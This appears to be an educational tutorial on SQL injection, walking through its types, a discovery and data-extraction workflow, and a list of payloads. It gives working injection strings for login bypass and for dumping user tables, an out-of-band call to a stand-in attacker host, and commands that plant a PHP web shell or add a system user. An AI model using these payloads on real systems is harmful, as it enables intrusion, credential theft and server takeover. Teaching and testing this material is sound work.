SQL Injection occurs when a web application takes untrusted user input and incorporates it directly into SQL queries without proper sanitization or parameterization. This allows attackers to inject additional SQL commands, modify queries, manipulate database results, and ultimately control the entire backend database.

SQLi is one of the most dangerous and impactful web vulnerabilities because databases contain sensitive information such as credentials, personal data, financial records, tokens, and application secrets. A single injectable query can lead to complete system compromise.

How SQL Queries Normally Work

A typical login form might execute:

SELECT * FROM users WHERE username='mayur' AND password='12345';

If user input is inserted directly into the query, attackers can manipulate it.

How SQL Injection Happens

When input is combined directly with SQL logic:

username = admin'--
password = anything

The resulting query becomes:

SELECT * FROM users WHERE username='admin'--' AND password='anything';

The -- comments out the rest, bypassing authentication.

The vulnerability exists because the application fails to:

Escape user input
Validate data
Use prepared statements
Enforce strict query building

Types of SQL Injection

Error-Based SQL Injection

The backend SQL engine returns visible error messages that leak internal details.

Example test:

If the server responds with:

SQL syntax error

The parameter is injectable.

Error messages leak:

Table names
Column names
Query structure
Database engine versions

Union-Based SQL Injection

Attackers use UNION to combine results with attacker-controlled queries.

Example:

' UNION SELECT 1,2,3--

If the page prints the values, it's vulnerable.

Attackers escalate to extract:

Usernames
Password hashes
Secrets

Boolean-Based Blind SQLi

The application does not show errors, but responses differ depending on the boolean condition.

Example payload:

' AND 1=1--

Page loads normally.

' AND 1=2--

Page changes.

This allows attackers to extract data bit-by-bit.

Time-Based Blind SQLi

The application sleeps or delays based on injected conditions.

Example payload:

' AND SLEEP(5)--

If the page takes 5 seconds → injectable.

This is used when no visible output is available.

Out-of-Band SQLi

Database sends data to attacker-controlled server using DNS or HTTP.

Used in restrictive environments.

Example with MSSQL:

'; exec master..xp_dirtree '//attacker.com/abc';--

If the attacker sees incoming requests → vulnerable.

Practical SQL Injection Discovery Workflow

Step 1: Identify Input Points

Test:

Search fields
Login forms
URL parameters
Filters
Sorting mechanisms
Hidden form inputs
Cookies
Headers

Try basic injection:

'
"
--
#
`)

Step 2: Observe Server Behavior

Look for:

SQL errors
Different responses
Changes in page structure
Delays in response time

Step 3: Test Boolean Conditions

?id=1 AND 1=1
?id=1 AND 1=2

If responses differ, it's likely SQL injectable.

Step 4: Identify Number of Columns (Union Testing)

Use ORDER BY to calculate columns:

?id=1 ORDER BY 1--
?id=1 ORDER BY 2--
?id=1 ORDER BY 3--

When it errors at n, there are n-1 columns.

Step 5: Test UNION SELECT

Once column count is known:

?id=1 UNION SELECT 1,2,3--

If you see values “1,2,3” on the page, SQLi is confirmed.

Step 6: Extract Database Information

Example MySQL queries:

UNION SELECT @@version, database(), user()--

Example PostgreSQL:

UNION SELECT version(), current_database(), current_user--

Step 7: Enumerate Tables

MySQL example:

UNION SELECT 1,table_name,3 FROM information_schema.tables--

Step 8: Extract Column Names

UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--

Step 9: Extract Data

UNION SELECT username,password,3 FROM users--

This leads to credential theft.

Practical SQL Injection with Burp Suite

Step 1: Intercept the vulnerable request

Send it to Repeater.

Step 2: Inject SQL payloads

Observe:

error messages
response length changes
HTML content differences

Step 3: Use Intruder for automated extraction

Payload positions inside:

id parameter
filter parameters

Use payload list:

'
" 
') 
') OR 1=1--

Monitor success indicators.

Time-Based Blind SQLi Practical Test

Inject:

?id=1' AND SLEEP(5)--

If the server waits 5 seconds, use binary extraction:

?id=1' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--

Automate bit-by-bit extraction with tools.

Common SQL Injection Payloads

Authentication Bypass

' OR 1=1--
' OR 'x'='x

Extract Users

UNION SELECT username, password FROM users--

Extract All Tables

UNION SELECT table_name,1 FROM information_schema.tables--

Extract Columns

UNION SELECT column_name,1 FROM information_schema.columns WHERE table_name='users'--

Blind Boolean Test

' AND 1=1--
' AND 1=2--

Time Delay

'; SLEEP(3);--

Real-World SQL Injection Scenarios

Login Bypass

Attackers enter:

admin'--

Dumping User Database

UNION SELECT username,password FROM users--

Attackers obtain hashed passwords.

Remote Code Execution (Advanced SQLi)

Some databases allow file writes or command execution:

MySQL:

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php";

MSSQL:

EXEC xp_cmdshell 'net user hacker pass /add';

PostgreSQL:

COPY (SELECT '') TO PROGRAM 'id';

SQLi often escalates into full server takeover.

Why SQL Injection Happens

SQLi exists due to developer mistakes such as:

concatenating input into queries
lack of sanitization
missing parameterized queries
poor input validation
improper escaping
misunderstanding query contexts

Any user-controlled variable inserted into SQL without protection is a potential exploit.

Impact of SQL Injection

SQLi allows:

dumping entire databases
stealing credentials
bypassing authentication
modifying or deleting data
executing system commands
writing files to the server
taking over the application completely

SQL Injection is catastrophic because the database is the core of the application.

Intel Dump

SQL Injection occurs when user input is injected directly into SQL queries.
Exists in multiple forms: error-based, union-based, boolean blind, time-based, and out-of-band.
Manual discovery involves testing characters, boolean logic, and UNION operations.
Practical extraction includes enumerating tables, columns, users, and database metadata.
Time-based tests confirm blind SQLi when no output is shown.
SQLi can escalate to credential theft, authentication bypass, and even remote command execution.
Root cause is failure to validate and parameterize input before executing SQL queries.